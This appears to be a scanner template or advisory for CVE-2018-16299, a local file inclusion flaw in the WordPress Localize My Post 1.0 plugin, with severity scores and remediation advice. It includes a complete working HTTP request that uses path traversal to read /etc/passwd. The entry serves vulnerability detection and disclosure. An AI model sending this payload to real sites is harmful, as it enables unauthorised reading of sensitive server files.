| Title | WordPress Localize My Post 1.0 - Local File Inclusion |
|---|---|
| Author | 0x_Akoko,0x240x23elu |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server. |
| Remediation | Update to the latest version of WordPress Localize My Post plugin. |
| CVSS Score | 7.5 |
| EPSS Score | 0.84841 |
| CVE ID | CVE-2018-16299 |
| CWE ID | CWE-22 |
| Tags | cve2018 cve wordpress lfi plugin wp edb packetstorm localize_my_post_project vuln |
WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter.
GET /wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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